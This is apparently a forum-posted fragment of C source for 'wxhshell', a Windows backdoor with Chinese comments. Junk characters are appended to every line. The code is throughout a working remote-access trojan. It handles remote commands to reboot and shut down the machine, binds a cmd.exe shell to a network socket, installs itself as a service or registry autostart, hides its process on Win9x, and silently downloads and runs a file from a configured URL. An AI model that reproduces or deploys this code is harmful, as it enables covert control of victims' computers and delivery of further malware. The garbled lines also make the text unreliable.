    switch(cmd[0]) { 'j<:FUDJ  
  iLd"tn'  
  // 帮助 )tI2?YIR  
  case '?': { ,iv%^C",)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ysc|kxLb  
    break; 8j+:s\  
  } F;&f x(  
  // 安装 $s(4?^GP  
  case 'i': { Hs`#{W{.  
    if(Install()) OG?j6q hpl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n.Eoi4jV'  
    else sa gBmA~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); . I&)MZ>n  
    break; GgpQ]rw  
    } >7(~'#x8A"  
  // 卸载 (zw=qbS&  
  case 'r': { >[%.h(h/%  
    if(Uninstall()) Zc\h15+P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A]O5+" mc  
    else d,J<SG&L&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SL\y\G aV  
    break; Fb{`a[&  
    } X?v ^>mA  
  // 显示 wxhshell 所在路径 400Tw`AiJ  
  case 'p': { pJ$N@ID  
    char svExeFile[MAX_PATH]; I bv_D$cT  
    strcpy(svExeFile,"\n\r"); At[n<8_|  
      strcat(svExeFile,ExeFile); =y-!k)t  
        send(wsh,svExeFile,strlen(svExeFile),0); 9>[.=  
    break; j#nO6\&o  
    } 8T.5Mhx0jS  
  // 重启 #SihedWi  
  case 'b': { 1l|A[ G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ; LF)u2x=  
    if(Boot(REBOOT)) F<oc Y0=9p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K@j^gF/0B  
    else { w1"gl0ga$  
    closesocket(wsh); &W)+8N,L  
    ExitThread(0); RqN_vk\  
    } T?]kF-   
    break; [`zbf_RyO  
    } !AD0 -fZ  
  // 关机 {7Gx9(  
  case 'd': { l`M5'r]l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d[>N6?JA/  
    if(Boot(SHUTDOWN)) Gkodk[VuLs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pT ocqJ22  
    else { ;(Ajf.i  
    closesocket(wsh); gGI#QPT`X  
    ExitThread(0); @^:7UI_  
    } Z*)y.i`  
    break; _sf#J|kQ  
    } ~g K-5}%!  
  // 获取shell 7k`*u) Q  
  case 's': { u .pKK  
    CmdShell(wsh); AK~`pq[.  
    closesocket(wsh); SP D207  
    ExitThread(0); 9HJ'p:{)  
    break; &8X .!r`f  
  } n$OE~YwP{  
  // 退出 6Bq~\b^  
  case 'x': { _86*.3fQG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -e`oW.+  
    CloseIt(wsh); V'Z&>6Z  
    break; I4o =6ts  
    } ,>QMyI hv  
  // 离开 *b6I%MZn  
  case 'q': { d Ik8TJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fOK+DT~  
    closesocket(wsh); 9Ew:.&d  
    WSACleanup(); :p\(y  
    exit(1); /+x#V!zM  
    break; Mg a@JA"  
        } 'Ffy8z{&3  
  } OZ>)sL  
  } _[$T29:8\]  
(/"K+$8'  
  // 提示信息 nI`f_sp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wZo.ynXT  
} ~<2 IIR$H  
  } hr_9;,EPh  
OD?y  
  return; l}Q"Nb)  
} QX/X {h6  
=.qm8+  
// shell模块句柄 9k=U0]!ch  
int CmdShell(SOCKET sock) 7g A08M[O  
{ I9[1U   
STARTUPINFO si; #K :-Bys5v  
ZeroMemory(&si,sizeof(si)); F}6DB*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wDT>">&d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N"Qg\PS_  
PROCESS_INFORMATION ProcessInfo; tT@w%Sz57N  
char cmdline[]="cmd"; MG7 ?N #  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~|y^\U@  
  return 0; ` j&0VIU>>  
} ()QOZ+x_!  
.pS&0gBo\  
// 自身启动模式 PcHSm/d0e  
int StartFromService(void) ~7lTqY\  
{ yqC Q24  
typedef struct YGq=8p7.R  
{ ;~Q  
  DWORD ExitStatus; 3d*&':  
  DWORD PebBaseAddress; | ((1V^  
  DWORD AffinityMask; T~i%j@Q.6  
  DWORD BasePriority; ]>R`;"(  
  ULONG UniqueProcessId; [x2JFS#4  
  ULONG InheritedFromUniqueProcessId; > 63)z I  
}   PROCESS_BASIC_INFORMATION; (O)\#%,@R  
 G"o!}  
PROCNTQSIP NtQueryInformationProcess; S=0"f}Jo.  
7|&e[@B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X,C*qw@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B :.@Qi^  
GXDC@+$14  
  HANDLE             hProcess; CQ6'b,L&   
  PROCESS_BASIC_INFORMATION pbi; .]W ;2G  
?S (im  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h>}ax\h  
  if(NULL == hInst ) return 0; H~A"C'P3#  
_j:UGMTi(U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;{<aA 5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q,[k7&HS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C`\9c ej  
,HFs.9#&B  
  if (!NtQueryInformationProcess) return 0; uh]"(h(>  
k: b/Gq`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S~KS9E~\  
  if(!hProcess) return 0; j$3rJA%rN  
%KGq*|GUu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yJ!OsD  
Z[",$Lt  
  CloseHandle(hProcess); 21r= = H$  
T vrk^!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (GCG/8s  
if(hProcess==NULL) return 0; Iz DG&c  
8zhBA9Y#~  
HMODULE hMod; y }\r#"Z`  
char procName[255]; x^A7'ad0  
unsigned long cbNeeded; ""co6qo#>  
sX+`wc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T4mv%zzS  
q@(1Yivk  
  CloseHandle(hProcess); zVSx$6eiU  
f}^I=pS&  
if(strstr(procName,"services")) return 1; // 以服务启动 I*EJHBsQ5  
 %BUEX  
  return 0; // 注册表启动 KQ&Y2l1*>>  
} S_J,[#&  
lC0~c=?J  
// 主模块 w/ TKRCO3  
int StartWxhshell(LPSTR lpCmdLine) l , ..5   
{ qu_)`wB  
  SOCKET wsl; u*2fP]n  
BOOL val=TRUE; ]kx-,M(  
  int port=0; P0^c?s"I  
  struct sockaddr_in door; sf(i E(o  
o]Gguw5W{  
  if(wscfg.ws_autoins) Install(); "'m)VG  
2 P=[  
port=atoi(lpCmdLine); &VDl/qnaL  
2d*_Qq1  
if(port<=0) port=wscfg.ws_port; i3#'*7f%j  
>OV<_(S4  
  WSADATA data; `ncNEHh7K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \)OEBN`9#  
~.J,A\F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tJNIr5o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `Oq M8U @  
  door.sin_family = AF_INET; [)^mBVht  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MaO"#{i  
  door.sin_port = htons(port); gH[,Xx?BN!  
Ojq]HM6f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zJ+3g!  
closesocket(wsl); s=D f `  
return 1; hoenQ6N^:  
} XVt/qb%)r  
.wmnnvtl,  
  if(listen(wsl,2) == INVALID_SOCKET) { =!BobC- [b  
closesocket(wsl); afHaB/t{R  
return 1; [#Y' dFQ  
} ciudRK63M  
  Wxhshell(wsl); ^"9* 'vTtc  
  WSACleanup(); Rf)ke("  
.[?BlIlm  
return 0; OR:[J5M)  
qz!Ph5 (  
} kbYeV_OwM  
Bq@zaMv  
// 以NT服务方式启动 /`[!_4i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LvcuZZ`1a  
{ Z<U>A   
DWORD   status = 0; F30 ]  
  DWORD   specificError = 0xfffffff; 03k?:D+5  
SHV4!xP-V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iXFP5a>|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c pk^!@c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PY`L$e  
  serviceStatus.dwWin32ExitCode     = 0; o:"anHs  
  serviceStatus.dwServiceSpecificExitCode = 0; 9xFO]Y"  
  serviceStatus.dwCheckPoint       = 0; Pao%pA.<  
  serviceStatus.dwWaitHint       = 0; KVkMU?6  
$d/&k`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (&[[46  
  if (hServiceStatusHandle==0) return; z x@$RS+]  
"7,FXTaer  
status = GetLastError(); d--'Rn5  
  if (status!=NO_ERROR) pu+ur=5&  
{ JN4fPGbV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {^}0 G^  
    serviceStatus.dwCheckPoint       = 0; ]E3<UR  
    serviceStatus.dwWaitHint       = 0; .$!{-v[  
    serviceStatus.dwWin32ExitCode     = status; eS'yGY0b  
    serviceStatus.dwServiceSpecificExitCode = specificError; $bvJTuw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,lt8O.h-l  
    return; t 9^A(Vh"-  
  } uLQ  
cK@jmGj+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "B{ECM;  
  serviceStatus.dwCheckPoint       = 0; +/rH(Ni  
  serviceStatus.dwWaitHint       = 0; ,qQG;w,m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #Yuvbb[  
} geM6G$V&  
"Pz}@=  
// 处理NT服务事件,比如:启动、停止 +*}{`L- :  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ; A,#;%j  
{ jjzA .8?(7  
switch(fdwControl) ]]0,|My7  
{ )JD(`  
case SERVICE_CONTROL_STOP: wW2d\Zd&  
  serviceStatus.dwWin32ExitCode = 0; 4/e60jA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~+G#n"Pn  
  serviceStatus.dwCheckPoint   = 0; P[ r];e  
  serviceStatus.dwWaitHint     = 0; 47r&8C+&\  
  { X^@ I].  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 17|np2~  
  } vUA0FoOp  
  return; aG+j9Q_  
case SERVICE_CONTROL_PAUSE: 5D Y\:AF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W_`A"WdT.  
  break; HYK!}&  
case SERVICE_CONTROL_CONTINUE: ]Mi.f3QlO6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S'LZk9E  
  break; )IL #>2n?  
case SERVICE_CONTROL_INTERROGATE: K_/zuTy  
  break; Dg HaOAdU  
}; 3;[DJ5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b:J(b?  
} MZ> 6o5K|  
p(F" /  
// 标准应用程序主函数 /9pM>Cd*Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IA&L]  
{ @n&<B`/  
tK(g-u0N`(  
// 获取操作系统版本 S4^N^lQ]  
OsIsNt=GetOsVer(); V 9wI\0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -r7]S  
%dST6$Z  
  // 从命令行安装 !7bw5H  
  if(strpbrk(lpCmdLine,"iI")) Install(); b5G}3)'w  
fvq,,@23  
  // 下载执行文件 OZY,@c  
if(wscfg.ws_downexe) { e({9]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @f+8%I3D  
  WinExec(wscfg.ws_filenam,SW_HIDE); qa`-* 4m  
} Yc r3HLJy  
3REx45M2  
if(!OsIsNt) { DQ#H,\ ^<  
// 如果时win9x,隐藏进程并且设置为注册表启动 I` K$E/ns  
HideProc(); # ]?bLm<!  
StartWxhshell(lpCmdLine); I04jjr:<  
} 4+$b~ u  
else #oeG!<Mn  
  if(StartFromService()) {66sB{P  
  // 以服务方式启动 |'O[7uT  
  StartServiceCtrlDispatcher(DispatchTable); iD38\XNMV  
else mW2,1}Jv  
  // 普通方式启动 [#Lc]$  
  StartWxhshell(lpCmdLine); #11NPo9  
eN? Y7  
return 0; TL$EV>Nr  
}
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只看该作者 1 发表于: 2006-10-10
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